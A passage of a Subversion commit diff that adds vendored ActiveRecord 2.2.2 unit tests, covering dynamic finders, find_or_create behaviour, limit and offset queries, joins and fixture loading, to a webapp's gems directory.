+    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
+  end
+
+  uses_mocha('test_dynamic_finder_should_go_through_the_find_class_method') do
+    def test_dynamic_finders_should_go_through_the_find_class_method
+      Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
+      Topic.find_by_title("The First Topic!")
+
+      Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
+      Topic.find_last_by_title("The Last Topic!")
+
+      Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
+      Topic.find_all_by_title("A Topic.")
+
+      Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
+      Topic.find_or_initialize_by_title('Does not exist yet for sure!')
+      Topic.find_or_create_by_title('Does not exist yet for sure!')
+    end
+  end
+
+  def test_find_by_one_attribute
+    assert_equal topics(:first), Topic.find_by_title("The First Topic")
+    assert_nil Topic.find_by_title("The First Topic!")
+  end
+
+  def test_find_by_one_attribute_bang
+    assert_equal topics(:first), Topic.find_by_title!("The First Topic")
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+  end
+
+  def test_find_by_one_attribute_caches_dynamic_finder
+    # ensure this test can run independently of order
+    class << Topic; self; end.send(:remove_method, :find_by_title) if Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
+    assert !Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
+    t = Topic.find_by_title("The First Topic")
+    assert Topic.public_methods.any? { |m| m.to_s == 'find_by_title' }
+  end
+
+  def test_dynamic_finder_returns_same_results_after_caching
+    # ensure this test can run independently of order
+    class << Topic; self; end.send(:remove_method, :find_by_title) if Topic.public_method_defined?(:find_by_title)
+    t = Topic.find_by_title("The First Topic")
+    assert_equal t, Topic.find_by_title("The First Topic") # find_by_title has been cached
+  end
+
+  def test_find_by_one_attribute_with_order_option
+    assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
+    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
+  end
+
+  def test_find_by_one_attribute_with_conditions
+    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
+  end
+
+  def test_find_by_one_attribute_that_is_an_aggregate
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.find_by_address(address)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_find_by_one_attribute_that_is_an_aggregate_with_one_attribute_difference
+    address = customers(:david).address
+    assert_kind_of Address, address
+    missing_address = Address.new(address.street, address.city, address.country + "1")
+    assert_nil Customer.find_by_address(missing_address)
+    missing_address = Address.new(address.street, address.city + "1", address.country)
+    assert_nil Customer.find_by_address(missing_address)
+    missing_address = Address.new(address.street + "1", address.city, address.country)
+    assert_nil Customer.find_by_address(missing_address)
+  end
+
+  def test_find_by_two_attributes_that_are_both_aggregates
+    balance = customers(:david).balance
+    address = customers(:david).address
+    assert_kind_of Money, balance
+    assert_kind_of Address, address
+    found_customer = Customer.find_by_balance_and_address(balance, address)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_find_by_two_attributes_with_one_being_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.find_by_balance_and_name(balance, customers(:david).name)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_dynamic_finder_on_one_attribute_with_conditions_caches_method
+    # ensure this test can run independently of order
+    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
+    assert !Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
+    a = Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
+    assert Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
+  end
+
+  def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
+    # ensure this test can run independently of order
+    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
+    a = Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
+    assert_equal a, Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6]) # find_by_credit_limit has been cached
+  end
+
+  def test_find_by_one_attribute_with_several_options
+    assert_equal accounts(:unknown), Account.find_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
+  end
+
+  def test_find_by_one_missing_attribute
+    assert_raises(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
+  end
+
+  def test_find_by_invalid_method_syntax
+    assert_raises(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
+    assert_raises(NoMethodError) { Topic.find_by_title?("The First Topic") }
+    assert_raises(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
+    assert_raises(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
+  end
+
+  def test_find_by_two_attributes
+    assert_equal topics(:first), Topic.find_by_title_and_author_name("The First Topic", "David")
+    assert_nil Topic.find_by_title_and_author_name("The First Topic", "Mary")
+  end
+
+  def test_find_last_by_one_attribute
+    assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
+    assert_nil Topic.find_last_by_title("A title with no matches")
+  end
+
+  def test_find_last_by_one_attribute_caches_dynamic_finder
+    # ensure this test can run independently of order
+    class << Topic; self; end.send(:remove_method, :find_last_by_title) if Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
+    assert !Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
+    t = Topic.find_last_by_title(Topic.last.title)
+    assert Topic.public_methods.any? { |m| m.to_s == 'find_last_by_title' }
+  end
+
+  def test_find_last_by_invalid_method_syntax
+    assert_raises(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
+    assert_raises(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
+  end
+
+  def test_find_last_by_one_attribute_with_several_options
+    assert_equal accounts(:signals37), Account.find_last_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
+  end
+
+  def test_find_last_by_one_missing_attribute
+    assert_raises(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
+  end
+
+  def test_find_last_by_two_attributes
+    topic = Topic.last
+    assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
+    assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
+  end
+
+  def test_find_all_by_one_attribute
+    topics = Topic.find_all_by_content("Have a nice day")
+    assert_equal 2, topics.size
+    assert topics.include?(topics(:first))
+
+    assert_equal [], Topic.find_all_by_title("The First Topic!!")
+  end
+
+  def test_find_all_by_one_attribute_that_is_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customers = Customer.find_all_by_balance(balance)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_two_attributes_that_are_both_aggregates
+    balance = customers(:david).balance
+    address = customers(:david).address
+    assert_kind_of Money, balance
+    assert_kind_of Address, address
+    found_customers = Customer.find_all_by_balance_and_address(balance, address)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_two_attributes_with_one_being_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_one_attribute_with_options
+    topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
+    assert topics(:first), topics.last
+
+    topics = Topic.find_all_by_content("Have a nice day", :order => "id")
+    assert topics(:first), topics.first
+  end
+
+  def test_find_all_by_array_attribute
+    assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
+  end
+
+  def test_find_all_by_boolean_attribute
+    topics = Topic.find_all_by_approved(false)
+    assert_equal 1, topics.size
+    assert topics.include?(topics(:first))
+
+    topics = Topic.find_all_by_approved(true)
+    assert_equal 3, topics.size
+    assert topics.include?(topics(:second))
+  end
+
+  def test_find_by_nil_attribute
+    topic = Topic.find_by_last_read nil
+    assert_not_nil topic
+    assert_nil topic.last_read
+  end
+
+  def test_find_all_by_nil_attribute
+    topics = Topic.find_all_by_last_read nil
+    assert_equal 3, topics.size
+    assert topics.collect(&:last_read).all?(&:nil?)
+  end
+
+  def test_find_by_nil_and_not_nil_attributes
+    topic = Topic.find_by_last_read_and_author_name nil, "Mary"
+    assert_equal "Mary", topic.author_name
+  end
+
+  def test_find_all_by_nil_and_not_nil_attributes
+    topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
+    assert_equal 1, topics.size
+    assert_equal "Mary", topics[0].author_name
+  end
+
+  def test_find_or_create_from_one_attribute
+    number_of_companies = Company.count
+    sig38 = Company.find_or_create_by_name("38signals")
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name("38signals")
+    assert !sig38.new_record?
+  end
+
+  def test_find_or_create_from_two_attributes
+    number_of_topics = Topic.count
+    another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
+    assert_equal number_of_topics + 1, Topic.count
+    assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
+    assert !another.new_record?
+  end
+
+  def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
+    number_of_customers = Customer.count
+    created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
+    assert !created_customer.new_record?
+  end
+
+  def test_find_or_create_from_one_attribute_and_hash
+    number_of_companies = Company.count
+    sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert !sig38.new_record?
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+    assert_equal 23, sig38.client_of
+  end
+
+  def test_find_or_create_from_one_aggregate_attribute
+    number_of_customers = Customer.count
+    created_customer = Customer.find_or_create_by_balance(Money.new(123))
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
+    assert !created_customer.new_record?
+  end
+
+  def test_find_or_create_from_one_aggregate_attribute_and_hash
+    number_of_customers = Customer.count
+    balance = Money.new(123)
+    name = "Elizabeth"
+    created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
+    assert !created_customer.new_record?
+    assert_equal balance, created_customer.balance
+    assert_equal name, created_customer.name
+  end
+
+  def test_find_or_initialize_from_one_attribute
+    sig38 = Company.find_or_initialize_by_name("38signals")
+    assert_equal "38signals", sig38.name
+    assert sig38.new_record?
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute
+    new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
+    assert_equal 123, new_customer.balance.amount
+    assert new_customer.new_record?
+  end
+
+  def test_find_or_initialize_from_one_attribute_should_not_set_attribute_even_when_protected
+    c = Company.find_or_initialize_by_name({:name => "Fortune 1000", :rating => 1000})
+    assert_equal "Fortune 1000", c.name
+    assert_not_equal 1000, c.rating
+    assert c.valid?
+    assert c.new_record?
+  end
+
+  def test_find_or_create_from_one_attribute_should_set_not_attribute_even_when_protected
+    c = Company.find_or_create_by_name({:name => "Fortune 1000", :rating => 1000})
+    assert_equal "Fortune 1000", c.name
+    assert_not_equal 1000, c.rating
+    assert c.valid?
+    assert !c.new_record?
+  end
+
+  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected
+    c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert c.new_record?
+  end
+
+  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected
+    c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert !c.new_record?
+  end
+
+  def test_find_or_initialize_should_set_protected_attributes_if_given_as_block
+    c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert c.new_record?
+  end
+
+  def test_find_or_create_should_set_protected_attributes_if_given_as_block
+    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert !c.new_record?
+  end
+
+  def test_find_or_create_should_work_with_block_on_first_call
+	  class << Company
+		undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
+	  end
+    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert !c.new_record?
+  end
+
+  def test_dynamic_find_or_initialize_from_one_attribute_caches_method
+    class << Company; self; end.send(:remove_method, :find_or_initialize_by_name) if Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
+    assert !Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
+    sig38 = Company.find_or_initialize_by_name("38signals")
+    assert Company.public_methods.any? { |m| m.to_s == 'find_or_initialize_by_name' }
+  end
+
+  def test_find_or_initialize_from_two_attributes
+    another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
+    assert_equal "Another topic", another.title
+    assert_equal "John", another.author_name
+    assert another.new_record?
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
+    new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
+    assert_equal 123, new_customer.balance.amount
+    assert_equal "Elizabeth", new_customer.name
+    assert new_customer.new_record?
+  end
+
+  def test_find_or_initialize_from_one_attribute_and_hash
+    sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+    assert_equal 23, sig38.client_of
+    assert sig38.new_record?
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute_and_hash
+    balance = Money.new(123)
+    name = "Elizabeth"
+    new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
+    assert_equal balance, new_customer.balance
+    assert_equal name, new_customer.name
+    assert new_customer.new_record?
+  end
+
+  def test_find_with_bad_sql
+    assert_raises(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
+  end
+
+  def test_find_with_invalid_params
+    assert_raises(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
+    assert_raises(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
+  end
+
+  def test_dynamic_finder_with_invalid_params
+    assert_raises(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
+  end
+
+  def test_find_all_with_limit
+    first_five_developers = Developer.find :all, :order => 'id ASC', :limit =>  5
+    assert_equal 5, first_five_developers.length
+    assert_equal 'David', first_five_developers.first.name
+    assert_equal 'fixture_5', first_five_developers.last.name
+
+    no_developers = Developer.find :all, :order => 'id ASC', :limit => 0
+    assert_equal 0, no_developers.length
+  end
+
+  def test_find_all_with_limit_and_offset
+    first_three_developers = Developer.find :all, :order => 'id ASC', :limit => 3, :offset => 0
+    second_three_developers = Developer.find :all, :order => 'id ASC', :limit => 3, :offset => 3
+    last_two_developers = Developer.find :all, :order => 'id ASC', :limit => 2, :offset => 8
+
+    assert_equal 3, first_three_developers.length
+    assert_equal 3, second_three_developers.length
+    assert_equal 2, last_two_developers.length
+
+    assert_equal 'David', first_three_developers.first.name
+    assert_equal 'fixture_4', second_three_developers.first.name
+    assert_equal 'fixture_9', last_two_developers.first.name
+  end
+
+  def test_find_all_with_limit_and_offset_and_multiple_order_clauses
+    first_three_posts = Post.find :all, :order => 'author_id, id', :limit => 3, :offset => 0
+    second_three_posts = Post.find :all, :order => ' author_id,id ', :limit => 3, :offset => 3
+    last_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 6
+
+    assert_equal [[0,3],[1,1],[1,2]], first_three_posts.map { |p| [p.author_id, p.id] }
+    assert_equal [[1,4],[1,5],[1,6]], second_three_posts.map { |p| [p.author_id, p.id] }
+    assert_equal [[2,7]], last_posts.map { |p| [p.author_id, p.id] }
+  end
+
+  def test_find_all_with_join
+    developers_on_project_one = Developer.find(
+      :all,
+      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
+      :conditions => 'project_id=1'
+    )
+    assert_equal 3, developers_on_project_one.length
+    developer_names = developers_on_project_one.map { |d| d.name }
+    assert developer_names.include?('David')
+    assert developer_names.include?('Jamis')
+  end
+
+  def test_joins_dont_clobber_id
+    first = Firm.find(
+      :first,
+      :joins => 'INNER JOIN companies AS clients ON clients.firm_id = companies.id',
+      :conditions => 'companies.id = 1'
+    )
+    assert_equal 1, first.id
+  end
+
+  def test_joins_with_string_array
+    person_with_reader_and_post = Post.find(
+      :all,
+      :joins => [
+        "INNER JOIN categorizations ON categorizations.post_id = posts.id",
+        "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+      ]
+    )
+    assert_equal 1, person_with_reader_and_post.size
+  end
+
+  def test_find_by_id_with_conditions_with_or
+    assert_nothing_raised do
+      Post.find([1,2,3],
+        :conditions => "posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'")
+    end
+  end
+
+  # http://dev.rubyonrails.org/ticket/6778
+  def test_find_ignores_previously_inserted_record
+    post = Post.create!(:title => 'test', :body => 'it out')
+    assert_equal [], Post.find_all_by_id(nil)
+  end
+
+  def test_find_by_empty_ids
+    assert_equal [], Post.find([])
+  end
+
+  def test_find_by_empty_in_condition
+    assert_equal [], Post.find(:all, :conditions => ['id in (?)', []])
+  end
+
+  def test_find_by_records
+    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
+    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2]], :order => 'id asc')
+    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+  end
+
+  def test_select_value
+    assert_equal "37signals", Company.connection.select_value("SELECT name FROM companies WHERE id = 1")
+    assert_nil Company.connection.select_value("SELECT name FROM companies WHERE id = -1")
+    # make sure we didn't break count...
+    assert_equal 0, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = 'Halliburton'")
+    assert_equal 1, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = '37signals'")
+  end
+
+  def test_select_values
+    assert_equal ["1","2","3","4","5","6","7","8","9"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
+    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+  end
+
+  def test_select_rows
+    assert_equal(
+      [["1", nil, nil, "37signals"],
+       ["2", "1", "2", "Summit"],
+       ["3", "1", "1", "Microsoft"]],
+      Company.connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}})
+    assert_equal [["1", "37signals"], ["2", "Summit"], ["3", "Microsoft"]],
+      Company.connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}}
+  end
+
+  def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
+    assert_equal 2, Post.find(:all, :include => { :authors => :author_address }, :order => ' author_addresses.id DESC ', :limit => 2).size
+
+    assert_equal 3, Post.find(:all, :include => { :author => :author_address, :authors => :author_address},
+                              :order => ' author_addresses_authors.id DESC ', :limit => 3).size
+  end
+
+  def test_with_limiting_with_custom_select
+    posts = Post.find(:all, :include => :author, :select => ' posts.*, authors.id as "author_id"', :limit => 3, :order => 'posts.id')
+    assert_equal 3, posts.size
+    assert_equal [0, 1, 1], posts.map(&:author_id).sort
+  end
+
+  protected
+    def bind(statement, *vars)
+      if vars.first.is_a?(Hash)
+        ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first)
+      else
+        ActiveRecord::Base.send(:replace_bind_variables, statement, vars)
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/fixtures_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/fixtures_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/fixtures_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,655 @@
+require "cases/helper"
+require 'models/post'
+require 'models/binary'
+require 'models/topic'
+require 'models/computer'
+require 'models/developer'
+require 'models/company'
+require 'models/task'
+require 'models/reply'
+require 'models/joke'
+require 'models/course'
+require 'models/category'
+require 'models/parrot'
+require 'models/pirate'
+require 'models/treasure'
+require 'models/matey'
+require 'models/ship'
+require 'models/book'
+
+class FixturesTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_fixtures = false
+
+  fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries
+
+  FIXTURES = %w( accounts binaries companies customers
+                 developers developers_projects entrants
+                 movies projects subscribers topics tasks )
+  MATCH_ATTRIBUTE_NAME = /[a-zA-Z][-_\w]*/
+
+  def test_clean_fixtures
+    FIXTURES.each do |name|
+      fixtures = nil
+      assert_nothing_raised { fixtures = create_fixtures(name) }
+      assert_kind_of(Fixtures, fixtures)
+      fixtures.each { |name, fixture|
+        fixture.each { |key, value|
+          assert_match(MATCH_ATTRIBUTE_NAME, key)
+        }
+      }
+    end
+  end
+
+  def test_multiple_clean_fixtures
+    fixtures_array = nil
+    assert_nothing_raised { fixtures_array = create_fixtures(*FIXTURES) }
+    assert_kind_of(Array, fixtures_array)
+    fixtures_array.each { |fixtures| assert_kind_of(Fixtures, fixtures) }
+  end
+
+  def test_attributes
+    topics = create_fixtures("topics")
+    assert_equal("The First Topic", topics["first"]["title"])
+    assert_nil(topics["second"]["author_email_address"])
+  end
+
+  def test_inserts
+    topics = create_fixtures("topics")
+    first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
+    assert_equal("The First Topic", first_row["title"])
+
+    second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
+    assert_nil(second_row["author_email_address"])
+  end
+
+  if ActiveRecord::Base.connection.supports_migrations?
+    def test_inserts_with_pre_and_suffix
+      # Reset cache to make finds on the new table work
+      Fixtures.reset_cache
+
+      ActiveRecord::Base.connection.create_table :prefix_topics_suffix do |t|
+        t.column :title, :string
+        t.column :author_name, :string
+        t.column :author_email_address, :string
+        t.column :written_on, :datetime
+        t.column :bonus_time, :time
+        t.column :last_read, :date
+        t.column :content, :string
+        t.column :approved, :boolean, :default => true
+        t.column :replies_count, :integer, :default => 0
+        t.column :parent_id, :integer
+        t.column :type, :string, :limit => 50
+      end
+
+      # Store existing prefix/suffix
+      old_prefix = ActiveRecord::Base.table_name_prefix
+      old_suffix = ActiveRecord::Base.table_name_suffix
+
+      # Set a prefix/suffix we can test against
+      ActiveRecord::Base.table_name_prefix = 'prefix_'
+      ActiveRecord::Base.table_name_suffix = '_suffix'
+
+      topics = create_fixtures("topics")
+
+      first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'David'")
+      assert_equal("The First Topic", first_row["title"])
+
+      second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'Mary'")
+      assert_nil(second_row["author_email_address"])
+
+      # This checks for a caching problem which causes a bug in the fixtures 
+      # class-level configuration helper.
+      assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
+    ensure
+      # Restore prefix/suffix to its previous values
+      ActiveRecord::Base.table_name_prefix = old_prefix
+      ActiveRecord::Base.table_name_suffix = old_suffix
+
+      ActiveRecord::Base.connection.drop_table :prefix_topics_suffix rescue nil
+    end
+  end
+
+  def test_insert_with_datetime
+    topics = create_fixtures("tasks")
+    first = Task.find(1)
+    assert first
+  end
+
+  def test_logger_level_invariant
+    level = ActiveRecord::Base.logger.level
+    create_fixtures('topics')
+    assert_equal level, ActiveRecord::Base.logger.level
+  end
+
+  def test_instantiation
+    topics = create_fixtures("topics")
+    assert_kind_of Topic, topics["first"].find
+  end
+
+  def test_complete_instantiation
+    assert_equal 4, @topics.size
+    assert_equal "The First Topic", @first.title
+  end
+
+  def test_fixtures_from_root_yml_with_instantiation
+    # assert_equal 2, @accounts.size
+    assert_equal 50, @unknown.credit_limit
+  end
+
+  def test_erb_in_fixtures
+    assert_equal 11, @developers.size
+    assert_equal "fixture_5", @dev_5.name
+  end
+
+  def test_empty_yaml_fixture
+    assert_not_nil Fixtures.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
+  end
+
+  def test_empty_yaml_fixture_with_a_comment_in_it
+    assert_not_nil Fixtures.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
+  end
+
+  def test_dirty_dirty_yaml_file
+    assert_raises(Fixture::FormatError) do
+      Fixtures.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
+    end
+  end
+
+  def test_empty_csv_fixtures
+    assert_not_nil Fixtures.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/csv/accounts")
+  end
+
+  def test_omap_fixtures
+    assert_nothing_raised do
+      fixtures = Fixtures.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
+
+      i = 0
+      fixtures.each do |name, fixture|
+        assert_equal "fixture_no_#{i}", name
+        assert_equal "Category #{i}", fixture['name']
+        i += 1
+      end
+    end
+  end
+
+  def test_yml_file_in_subdirectory
+    assert_equal(categories(:sub_special_1).name, "A special category in a subdir file")
+    assert_equal(categories(:sub_special_1).class, SpecialCategory)
+  end
+
+  def test_subsubdir_file_with_arbitrary_name
+    assert_equal(categories(:sub_special_3).name, "A special category in an arbitrarily named subsubdir file")
+    assert_equal(categories(:sub_special_3).class, SpecialCategory)
+  end
+
+  def test_binary_in_fixtures
+    assert_equal 1, @binaries.size
+    data = File.read(ASSETS_ROOT + "/flowers.jpg")
+    data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
+    data.freeze
+    assert_equal data, @flowers.data
+  end
+end
+
+if Account.connection.respond_to?(:reset_pk_sequence!)
+  class FixturesResetPkSequenceTest < ActiveRecord::TestCase
+    fixtures :accounts
+    fixtures :companies
+
+    def setup
+      @instances = [Account.new(:credit_limit => 50), Company.new(:name => 'RoR Consulting')]
+      Fixtures.reset_cache # make sure tables get reinitialized
+    end
+
+    def test_resets_to_min_pk_with_specified_pk_and_sequence
+      @instances.each do |instance|
+        model = instance.class
+        model.delete_all
+        model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
+
+        instance.save!
+        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+      end
+    end
+
+    def test_resets_to_min_pk_with_default_pk_and_sequence
+      @instances.each do |instance|
+        model = instance.class
+        model.delete_all
+        model.connection.reset_pk_sequence!(model.table_name)
+
+        instance.save!
+        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+      end
+    end
+
+    def test_create_fixtures_resets_sequences_when_not_cached
+      @instances.each do |instance|
+        max_id = create_fixtures(instance.class.table_name).inject(0) do |max_id, (name, fixture)|
+          fixture_id = fixture['id'].to_i
+          fixture_id > max_id ? fixture_id : max_id
+        end
+
+        # Clone the last fixture to check that it gets the next greatest id.
+        instance.save!
+        assert_equal max_id + 1, instance.id, "Sequence reset for #{instance.class.table_name} failed."
+      end
+    end
+  end
+end
+
+class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = false
+  fixtures :topics, :developers, :accounts
+
+  def test_without_complete_instantiation
+    assert_nil @first
+    assert_nil @topics
+    assert_nil @developers
+    assert_nil @accounts
+  end
+
+  def test_fixtures_from_root_yml_without_instantiation
+    assert_nil @unknown
+  end
+
+  def test_accessor_methods
+    assert_equal "The First Topic", topics(:first).title
+    assert_equal "Jamis", developers(:jamis).name
+    assert_equal 50, accounts(:signals37).credit_limit
+  end
+
+  def test_accessor_methods_with_multiple_args
+    assert_equal 2, topics(:first, :second).size
+    assert_raise(StandardError) { topics([:first, :second]) }
+  end
+
+  uses_mocha 'reloading_fixtures_through_accessor_methods' do
+    def test_reloading_fixtures_through_accessor_methods
+      assert_equal "The First Topic", topics(:first).title
+      @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
+      assert_equal "Fresh Topic!", topics(:first, true).title
+    end
+  end
+end
+
+class FixturesWithoutInstanceInstantiationTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_instantiated_fixtures = :no_instances
+
+  fixtures :topics, :developers, :accounts
+
+  def test_without_instance_instantiation
+    assert_nil @first
+    assert_not_nil @topics
+    assert_not_nil @developers
